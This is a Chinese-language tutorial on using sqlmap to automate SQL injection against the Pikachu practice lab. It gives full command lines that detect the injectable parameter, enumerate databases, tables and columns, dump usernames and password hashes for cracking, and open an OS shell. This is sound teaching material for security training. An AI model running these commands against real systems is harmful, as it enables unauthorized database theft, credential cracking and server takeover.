SQL Inject漏洞之sqlmap的使用
? sqlmap简介 ? sqlmap经典6步法及常用技巧 ? 使用sqlmap进行盲注的自动化测试
sqlmap简介
我们之前讲sql案例的时候,我们都是用手工的方法去测试,但是实际上,用手工的方法比较麻烦,而在实际的工作当中,为了提高效率,我们往往会使用相关的自动化工具去做测试,但是前提条件是,我们一定要把这些漏洞的原理搞清楚,所以,我们之前讲的那么多原理和手动测试的一些东西,
what’s sqlmap? Automatic SQL injection and database takeover tool
自动化测试sql注入和数据库的一个接管工具
sqlmap经典用法
从第一步发现sql注入,到最终获取数据,整个步骤,我们做个相关的演示,我们在pikachu上选盲注做为演示
首先,我们把输入点找到,我们输入11111
发现它是get请求,name就是它的输入点,我们把这段复制一下,我们打开sqlmap,
python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=??¥èˉ¢"
这个时候,sqlmap就会对我们指定的url参数,去测试它是否存在sql注入漏洞
测试的时候,它会去尝试不同的payload,然后去看对应的效果
很快,它就发现name这个参数存在sql注入漏洞
我们可以做进一步的测试,
python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=??¥èˉ¢" -current-db
去获取当前数据库的名称
可以看到,它直接去获取了pikachu数据库的名称,我们拿到数据库的名称,根据,我们之前的逻辑,我们要去拿数据库的表,
python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=??¥èˉ¢" -D pikachu --tables
它会遍历里面的表
拿到这个表后,我们要去拿表里面的列名,也就是users表里面的列名,
python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=??¥èˉ¢" -D pikachu -T users --columns
它很快就把表里面,列的名称给列出来了,拿到列名称之后,我们想去拿password、username,
python3 sqlmap.py -u "http://192.168.42.236/pikachu/vul/sqli/sqli_blind_b.php?name=11111&submit=??¥èˉ¢" -D pikachu -T users -C username,password --dump
这个时候,它已经拿到了里面的数据,但是它发现里面是hash值,我们可以用sqlmap自带的暴力破解的工具跑一下,其实就是用它自带的字典进行碰撞
sqlmap这个工具是非常强大的,它的功能也是非常多,
第一步: -u “xxx” --cookie=“yyy”//带上cookie对URL进行注入探测 第二步: -u “xxx” --cookie=“yyy” –current-db //对数据库名进行获取 第三步: -u “xxx” --cookie=“yyy” –D pikachu --tables //对数据库的表名进行枚举 第四步: -u “xxx” --cookie=“yyy” –D pikachu –T users --columns //对dvwa库里面的名为users表的列名进行枚举
sqlmap经典用法
第五步: -u “xxx” --cookie=“yyy” –D pikachu –T users –C username,password --dump //探测user表name和password字段 ----如果此时得到的密码为密文,SQLmap会自动询问,是否爆破,选择“是”即可开始使用SQLMAP自带的字 典进行爆破。 第六步:-u “xxx” --cookie=“yyy” – -os-shell //获取shell,选择后台语言
sqlmap经典用法
–help // 显示帮助信息 -v x // x=0~6 ,不同的级别显示不同程度的过程信息,数值越大,越详细; –dbs //列出所有数据库 –users //显示当前登录的用户,root’@‘localhost’ –purge-output //清除之前的缓存日志 –password //对跑出来的密码进行枚举
|